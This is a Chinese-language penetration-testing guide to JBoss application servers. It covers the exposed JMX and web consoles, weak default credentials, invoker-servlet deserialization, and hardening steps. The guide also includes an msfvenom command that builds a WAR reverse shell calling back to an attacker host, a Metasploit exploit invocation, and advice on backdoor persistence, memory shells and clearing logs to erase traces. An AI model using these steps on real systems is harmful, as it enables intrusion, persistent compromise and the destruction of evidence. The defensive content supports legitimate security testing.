Jboss渗透合集
字数 1563 2025-08-09 17:09:26
Jboss渗透测试全面指南
一、Jboss概述
JBoss是一个基于J2EE的开源应用服务器,遵循LGPL许可协议,可以在商业应用中免费使用。作为管理EJB的容器和服务器,JBoss支持EJB 1.1、EJB 2.0和EJB 3.0规范。其核心架构特点包括:
- 微内核设计:通过JMX提供高度模块化结构
- 热部署能力:支持在不重启服务的情况下部署应用
- JMX控制台:提供强大的管理功能,也是常见的安全隐患
二、Jboss常见安全漏洞
1. JMX控制台未授权访问
- 默认路径:
/jmx-console/ - 风险:允许攻击者直接调用MBean方法,执行任意代码
2. Web控制台漏洞
- 默认路径:
/web-console/ - 风险:可能暴露服务器配置信息,提供管理入口
3. Admin Console弱口令
- 默认路径:
/admin-console/ - 常见默认凭证:admin/admin
4. EJB远程调用漏洞
- 通过
/invoker/JMXInvokerServlet等接口 - 风险:可能导致远程代码执行
5. 反序列化漏洞
- 影响版本:多个历史版本存在Java反序列化漏洞
- 风险:可导致远程代码执行
三、渗透测试方法
1. 信息收集
nmap -sV -p 8080 <target_ip> # 识别Jboss服务
dirb http://<target_ip>:8080 # 目录扫描
2. JMX控制台利用
- 访问
http://<target_ip>:8080/jmx-console/ - 查找
jboss.deployment域 - 调用
flavor=URL,type=DeploymentScanner的addURL()方法 - 部署恶意WAR包
3. Web控制台利用
- 访问
http://<target_ip>:8080/web-console/ - 尝试默认凭证或暴力破解
- 通过部署功能上传恶意应用
4. EJBInvokerServlet利用
POST /invoker/EJBInvokerServlet HTTP/1.1
Host: <target_ip>:8080
Content-Type: application/x-java-serialized-object
[恶意序列化数据]
5. WAR包部署
- 生成恶意WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your_ip> LPORT=4444 -f war > shell.war
- 通过JMX或Web控制台上传部署
四、防御措施
1. 基本安全配置
- 删除或重命名
jmx-console和web-console - 修改默认路径:在
jboss-web.deployer/server.xml中配置 - 禁用热部署功能
2. 访问控制
- 配置
jmx-console和web-console的访问权限 - 使用强密码策略
- 限制管理接口的IP访问
3. 网络层防护
- 将管理接口与业务接口分离
- 使用防火墙限制访问端口
- 启用HTTPS加密通信
4. 补丁与更新
- 及时更新到最新稳定版本
- 关注CVE公告,特别是反序列化相关漏洞
五、自动化工具
1. JexBoss
python jexboss.py -host <target_ip>
功能:自动化检测和利用Jboss漏洞
2. Metasploit模块
use exploit/multi/http/jboss_maindeployer
set RHOSTS <target_ip>
set RPORT 8080
exploit
3. Jboss-autopwn
集成多种攻击方式的自动化工具
六、高级渗透技巧
1. 反序列化利用
- 使用ysoserial生成payload
- 通过EJBInvokerServlet等接口发送
2. 内存马注入
- 通过已获取的shell注入内存马
- 绕过文件部署检测
3. 权限维持
- 部署隐蔽后门应用
- 修改现有应用添加恶意功能
- 创建隐蔽的管理账户
七、日志清理与痕迹清除
- 清理部署日志:
$JBOSS_HOME/server/default/log/
- 清除访问日志:
$JBOSS_HOME/server/default/deploy/jbossweb.sar/server.xml配置的日志文件
- 清理部署的WAR包残留
八、参考案例
案例1:通过JMX控制台获取系统权限
- 发现开放的JMX控制台
- 调用DeploymentScanner的addURL方法
- 部署包含JSP shell的WAR包
- 通过webshell获取系统权限
案例2:反序列化漏洞利用
- 发现开放的EJBInvokerServlet
- 使用ysoserial生成CommonsCollections payload
- 发送恶意序列化数据
- 获取反向shell
本指南涵盖了Jboss渗透测试的主要方面,实际测试中应根据目标环境灵活调整方法,并确保所有测试都在合法授权范围内进行。